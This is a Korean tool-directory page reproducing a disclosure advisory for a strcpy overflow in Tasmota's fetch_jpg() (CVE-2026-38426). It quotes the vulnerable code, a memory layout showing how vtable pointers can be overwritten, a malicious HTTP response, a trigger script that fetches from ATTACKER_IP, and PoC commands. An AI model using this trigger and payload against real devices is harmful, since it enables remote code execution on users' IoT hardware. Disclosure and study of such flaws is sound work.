Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-38426 — CVE-2026-38426 — Tasmota fetch_jpg() boundary[40]의 strcpy() 스택 버퍼 오버플로우 (Tasmota <= 15.3.0.3) | Kitploit
도구/GitHubGitHub/sermikr0/cve-2026-38426
Embedded Systems SecurityIoT SecurityVulnerability AnalysisExploitationHardware & IoT SecurityRemote Access TrojanBinary Exploitation
GitHubsermikr0/cve-2026-38426

CVE-2026-38426

CVE-2026-38426 — Tasmota fetch_jpg() boundary[40]의 strcpy() 스택 버퍼 오버플로우 (Tasmota <= 15.3.0.3)

저장소 보기
63개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-38426: Tasmota fetch_jpg() boundary[40]의 strcpy() 스택 버퍼 오버플로우

CVE: CVE-2026-38426
심각도: 치명적 (CVSS 9.8)
제품: Arendst Tasmota
영향받는 버전: <= 15.3.0.3
파일: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
함수: fetch_jpg() — case 0 (초기 연결)
작성자: Saidakbarxon Maxsudxonov
공개: 책임 있는 공개 — 게시 전에 Tasmota에 보고됨


요약

Tasmota의 스크립터 드라이버에 있는 fetch_jpg() 함수에는 전형적인 strcpy() 버퍼 오버플로우 취약점이 존재합니다. HTTP Content-Type 응답 헤더에서 추출된 MJPEG boundary 문자열이 길이 검증 없이 고정된 40바이트 버퍼(boundary[40])에 복사됩니다. MJPEG HTTP 서버를 제어하는 공격자는 39자보다 긴 boundary 문자열을 공급하여 버퍼를 오버플로우시키고 인접한 힙 메모리를 손상시킬 수 있으며, 잠재적으로 ESP32에서 원격 코드 실행(RCE)을 달성할 수 있습니다.


취약한 코드

root@kitploit:~
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino

struct JPG_TASK {
    char boundary[40];   // ← FIXED SIZE — only 40 bytes!
    bool draw;
    uint8_t scale;
    uint16_t xp;
    uint16_t yp;
    WiFiClient stream;   // contains vtable pointer
    HTTPClient http;     // contains vtable pointer
} jpg_task;

// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
    strcpy(glob_script_mem.jpg_task.boundary, cp + 1);  // NO LENGTH CHECK — OVERFLOW!
}

힙 메모리 레이아웃 (ESP32)

root@kitploit:~
struct JPG_TASK layout:
  +0x00  boundary[40]     ← overflow starts here
  +0x28  draw (bool)      ← corrupted
  +0x29  scale (uint8_t)  ← corrupted
  +0x2A  xp (uint16_t)    ← corrupted
  +0x2C  yp (uint16_t)    ← corrupted
  +0x2E  WiFiClient        ← vtable ptr overwritten → RCE
  +0x7E  HTTPClient        ← vtable ptr overwritten → RCE

WiFiClient 또는 HTTPClient의 vtable 포인터를 공격자가 제어하는 값으로 덮어쓰면, 이후 가상 메서드(read(), write(), connect())가 호출될 때 RCE가 발생합니다.


공격 시나리오

공격자는 Tasmota가 fetchjp()를 통해 연결하는 HTTP 서버를 실행합니다. 서버는 39자보다 긴 boundary 문자열을 포함한 Content-Type 헤더로 응답합니다:

root@kitploit:~
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Tasmota의 strcpy()는 40바이트 boundary 버퍼에 50바이트 이상을 복사하여 인접한 구조체 필드로 오버플로우시킵니다.

Tasmota 스크립트를 통한 트리거:

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)

개념 증명 (PoC)

root@kitploit:~
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info

전체 구현은 CVE-2026-38426_poc.py를 참조하십시오.


영향

  • 기밀성: 높음 (ESP32에서 vtable 하이재킹을 통한 RCE)
  • 무결성: 높음
  • 가용성: 높음 (크래시 보장)
  • 공격 경로: 네트워크
  • 인증: 필요 없음

타임라인

  • 2026-03-29: 취약점 발견 및 MITRE에 보고
  • 2026-03-29: CVE-2026-38426 지정
  • 2026-05-xx: Tasmota에서 패치 릴리스 (v15.3.0.4+)

참고 자료

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38426
도구 다운로드